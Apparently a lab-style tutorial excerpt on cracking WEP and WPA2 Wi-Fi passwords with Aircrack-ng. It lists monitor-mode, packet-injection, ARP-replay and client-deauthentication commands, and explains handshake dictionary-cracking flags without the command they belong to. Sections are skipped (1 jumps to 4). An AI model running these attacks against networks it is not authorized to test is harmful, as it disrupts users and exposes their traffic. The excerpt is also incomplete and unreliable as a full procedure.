1. Crack WEP using Aircrack-ng

airmon-ng start wlan0
airodump-ng
airodump-ng –w "filename" -c "channel name"
aireplay-ng -1 0 -a (bssid) -h (mac of your card) -e (essid) (interface)
aireplay-ng -3 –b "bssid" -h "mac address"
aireplay-ng --deauth 3 -a MAC_AP -c MAC_Client mon0

4. Crack WPA 2 with Aircrack

WPA2 is an upgrade to WPA; it includes mandatory support for Counter Mode with Cipher Block Chaining Message Authentication Code Protocol (CCMP), an AES-based encryption protocol with strong security. WPA2 has two modes of operation: WPA2-Personal and WPA2-Enterprise. Despite being stronger than both WEP and WPA, the WPA2 encryption method can also be cracked using various techniques and tools.

In this task, we will use the Aircrack-ng suite to crack a WPA2 network.

  • -a is the technique used to crack the handshake, 2=WPA technique.

  • -b refers to bssid; replace with the BSSID of the target router.

  • -w stands for wordlist; provide the path to a wordlist.

The result appears, showing the WPA handshake packet captured with airodump-ng. The target access point’s password is cracked and displayed in plain text next to the message KEY FOUND!, as shown in the screenshot.
